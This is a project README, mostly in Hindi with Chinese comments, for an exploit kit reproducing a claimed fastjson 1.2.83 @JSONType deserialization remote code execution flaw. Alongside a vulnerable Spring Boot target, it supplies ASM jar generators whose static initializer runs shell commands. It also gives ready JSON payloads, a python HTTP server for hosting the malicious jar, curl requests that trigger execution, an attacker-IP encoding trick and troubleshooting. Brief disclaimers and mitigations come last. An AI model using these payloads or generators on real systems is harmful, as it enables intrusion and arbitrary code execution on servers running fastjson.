
fastjson 1.2.83 @JSONType RCE को एक कमजोर Spring Boot टारगेट और HTTP या फ़ाइल प्रोटोकॉल jar chains का उपयोग करने वाले ASM-आधारित पेलोड जनरेटर के साथ पुन: प्रस्तुत करता है।
@JSONType संसाधन जांच श्रृंखला RCE
fastjson 1.2.66 ~ 1.2.83 में @JSONType एनोटेशन + अवैध क्लास नाम + jar: प्रोटोकॉल के तहत रिमोट क्लास लोडिंग / कमांड निष्पादन का पुनरुत्पादन प्रोजेक्ट।
⚠️ अस्वीकरण
यह प्रोजेक्ट केवल सुरक्षा अनुसंधान, भेद्यता पुनरुत्पादन और अधिकृत परीक्षण के लिए है। किसी भी अनधिकृत सिस्टम, अवैध हमले या दुर्भावनापूर्ण उपयोग के लिए सख्त वर्जित है। उपयोगकर्ता अपने कार्यों की पूरी जिम्मेदारी वहन करेगा, लेखक किसी भी दुरुपयोग के लिए कानूनी जिम्मेदारी नहीं लेता है।
भेद्यता विश्लेषण लेख संदर्भ: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
यह प्रोजेक्ट CVE-2026-16723 के इर्द-गिर्द एक संपूर्ण fastjson 1.2.83 भेद्यता पुनरुत्पादन वातावरण तैयार करता है:
demo/ —— भेद्यता युक्त Spring Boot 2.7.18 वेब एप्लिकेशन (fastjson 1.2.83 पर निर्भर), जो POST /parse इंटरफ़ेस को बाहरी रूप से उजागर करता है और सीधे JSON.parse(json) कॉल करता है;exp/ —— ASM-आधारित दुर्भावनापूर्ण प्रोब jar जनरेटर (HTTP प्रोटोकॉल / FILE प्रोटोकॉल दो रूप);环境/ —— पहले से संकलित तीन मिडलवेयर FatJar (Tomcat / Jetty / Undertow), तुरंत उपयोग के लिए तैयार।उपयोग की मुख्य अवधारणा: @type को jar URL बनाकर विशेष JSON का निर्माण करना, जिससे fastjson
@JSONType एनोटेशन ट्रस्ट शाखा → getResourceAsStream से रिमोट/लोकल jar डाउनलोड →
defineClass से दुर्भावनापूर्ण क्लास लोड → क्लास इनिशियलाइज़ेशन पर <clinit> ट्रिगर → किसी भी कमांड का निष्पादन (RCE)।
JSON.parse(json) या JSON.parseObject(json) का उपयोग करके अविश्वसनीय इनपुट को सीधे पार्स करता है, और fastjson संस्करण 1.2.66 ~ 1.2.83 में है, safeMode सक्षम नहीं है;java -jar से शुरू, LaunchedURLClassLoader, केवल Spring Boot ≤ 2.7 में jar: प्रोटोकॉल Handler फ़ॉलबैक क्षमता बनी रहती है);defineClass ClassFormatError फेंक देगा, अधिक से अधिक केवल SSRF संभव);fastjson का checkAutoType जब @JSONType एनोटेशन वाली क्लास का सामना करता है तो ट्रस्ट शाखा में प्रवेश करता है, अधिकांश ब्लैकलिस्ट जाँचों को छोड़ देता है और लोडिंग की अनुमति देता है। यह प्रोजेक्ट इसका उपयोग करता है, ASM से सीधे बाइटकोड लिखकर, एक [अवैध आंतरिक क्लास नाम] को क्लास कॉन्स्टेंट पूल के this_class में लिखता है, ताकि तीनों नाम पूरी तरह से संरेखित हों:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
दुर्भावनापूर्ण क्लास संरचना:
@JSONType एनोटेशन —— fastjson checkAutoType ट्रस्ट शाखा खोलने की कुंजी;<init>()V —— सुनिश्चित करता है कि fastjson सामान्य रूप से इंस्टेंटिएट कर सके;<clinit> स्टैटिक इनिशियलाइज़ेशन ब्लॉक —— क्लास लोड इनिशियलाइज़ेशन पर ही Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}) निष्पादित करता है, जिससे कमांड निष्पादन होता है।अवैध क्लास नाम
javacसे नहीं लिखा जा सकता, केवल ASM ही URL को सीधे कॉन्स्टेंट पूल में लिख सकता है —— यही कारण है कि इस प्रोजेक्ट का जनरेटरasm-9.6.jarपर निर्भर है।
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
लैब को JDK 8 वातावरण में चलना चाहिए (उपयोग की शर्तों के अनुरूप)।
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
प्रारंभ के बाद इंटरफ़ेस पता: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 —— दुर्भावनापूर्ण jar का HTTP होस्टिंग पोर्टopen -a Calculator —— लक्ष्य मशीन पर निष्पादित होने वाला कमांड (macOS कैलकुलेटर खोलता है; Linux पर id > /tmp/pwned 2>&1 उपयोग करें, फ़ाइल के अस्तित्व की जाँच करें)डिफ़ॉल्ट रूप से फ़ाइल x (बिना एक्सटेंशन) उत्पन्न होती है, जिसमें y.class होता है, payload है:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
सुनिश्चित करें कि
python3 -m http.serverउसी निर्देशिका में शुरू हो जहाँxफ़ाइल उत्पन्न हुई है।
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
कमांड निष्पादन का परिणाम HTTP प्रतिक्रिया में नहीं दिखेगा, लक्ष्य मशीन पर पुष्टि करनी होगी:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
उपयोग परिदृश्य: लक्ष्य अटैकर मशीन के HTTP पोर्ट तक नहीं पहुंच सकता (इंट्रानेट अलगाव / बाहरी नेटवर्क प्रतिबंधित), लेकिन jar फ़ाइल को लक्ष्य मशीन के फ़ाइल सिस्टम पर रखा जा सकता है।
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
जनरेटर वर्तमान निर्देशिका के आधार पर jar:file: URL की गणना करेगा (निर्देशिका विभाजक / को . से बदल दिया जाएगा), उदाहरण के लिए /tmp/project/exp में उत्पन्न करने पर payload होगा:
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
उत्पन्न फ़ाइल y को लक्ष्य मशीन पर @type से मेल खाते पूर्ण पथ पर अपलोड/कॉपी करें (जैसे /tmp/project/exp/y), निर्देशिका संरचना समान रखें।
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
ध्यान दें: FILE प्रोटोकॉल श्रृंखला का पथ लक्ष्य मशीन पर वास्तविक फ़ाइल पथ के बिल्कुल समान होना चाहिए, अन्यथा संसाधन जाँच विफल हो जाएगी और लोडिंग ट्रिगर नहीं होगी।
2130706433 127.0.0.1 का अहस्ताक्षरित 32-बिट पूर्णांक है, पूर्णांक के रूप में लिखने से IP में मौजूद . fastjson की . → / प्रतिस्थापन तर्क से नष्ट नहीं होता। जब अटैकर मशीन स्थानीय नहीं है:
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:...इसका मतलब है jar डाउनलोड हो सकता है (SSRF स्थापित है), लेकिन TypeUtils.loadClass ने null लौटाया। लगभग केवल दो कारण हैं:
@JSONType एनोटेशन नहीं है —— जाँच ट्रस्ट शाखा से नहीं गुजरती, loadClass में प्रवेश ही नहीं होता;@type से संरेखित नहीं है —— defineClass में वास्तविक क्लास नाम मेल नहीं खाता, लोडिंग विफल हो जाती है।इस प्रोजेक्ट का जनरेटर दोनों बिंदुओं को एक साथ हल करता है: @JSONType एनोटेशन + तीनों नामों का संरेखण।
यदि लक्ष्य ClassLoader LaunchedURLClassLoader नहीं है (जैसे IDE से सीधे Run, सामान्य war पैकेज, Spring Boot 3.x), तो एकल jar:http श्रृंखला से RCE संभव नहीं है, अधिक से अधिक केवल SSRF की पुष्टि की जा सकती है।
JDK 9+ का defineClass अवैध क्लास नामों की जाँच अधिक सख्ती से करता है, ClassFormatError फेंकेगा, श्रृंखला लोडिंग चरण में टूट जाती है।
ParserConfig.getGlobalInstance().setSafeMode(true); autoType को पूरी तरह से अक्षम कर सकता है;JSON.parse(json) / JSON.parseObject(json) न कॉल करें, जितना संभव हो JSON.parseObject(json, Xxx.class) का उपयोग करके लक्ष्य प्रकार स्पष्ट रूप से निर्दिष्ट करें;ParserConfig.addAccept(...) के माध्यम से केवल विश्वसनीय क्लासों को अनुमति दें;@type payload को ब्लॉक करें।यदि यह प्रोजेक्ट आपके लिए उपयोगी है, तो सुरक्षा अनुसंधान और भेद्यता दस्तावेज़ीकरण निर्माण के समर्थन में ⭐ Star करने के लिए स्वागत है।
⚠️ कृपया केवल अधिकृत परीक्षण के लिए उपयोग करें, अवैध उद्देश्यों के लिए कभी नहीं!
| प्रोजेक्ट | विवरण |
|---|
| CVE | CVE-2026-16723 |
| घटक | Alibaba fastjson |
| प्रभावित संस्करण | 1.2.66 ~ 1.2.83 (1.x का अंतिम संस्करण भी प्रभावित) |
| भेद्यता प्रकार | डिसीरियलाइज़ेशन रिमोट कोड निष्पादन (RCE) |
| ट्रिगर प्रवेश | JSON.parse(json) / JSON.parseObject(json) (विशिष्ट प्रकार निर्दिष्ट किए बिना) |
| पूर्व शर्त | लक्ष्य Spring Boot FatJar, JDK 8, safeMode बंद है |
| पैरामीटर | डिफ़ॉल्ट मान | विवरण |
|---|
port | 19090 | दुर्भावनापूर्ण jar होस्टिंग पोर्ट |
cmd | id > /tmp/pwned 2>&1 | लक्ष्य मशीन पर निष्पादित कमांड |
hostToken | 2130706433 | लक्ष्य द्वारा एक्सेस किया गया IP पूर्णांक रूप (127.0.0.1) |
entry | y | jar में क्लास एंट्री नाम |
outFile | x | उत्पन्न jar फ़ाइल नाम (बिना एक्सटेंशन) |
| पैरामीटर | डिफ़ॉल्ट मान | विवरण |
|---|
port | 19090 | आरक्षित पैरामीटर (FILE श्रृंखला पोर्ट का उपयोग नहीं करती) |
cmd | id > /tmp/pwned 2>&1 | लक्ष्य मशीन पर निष्पादित कमांड |
dir | वर्तमान निर्देशिका | लक्ष्य मशीन पर jar की निर्देशिका (jar:file: URL उत्पन्न करने के लिए) |
entry | x | jar में क्लास एंट्री नाम |
outFile | y | उत्पन्न jar फ़ाइल नाम (बिना एक्सटेंशन) |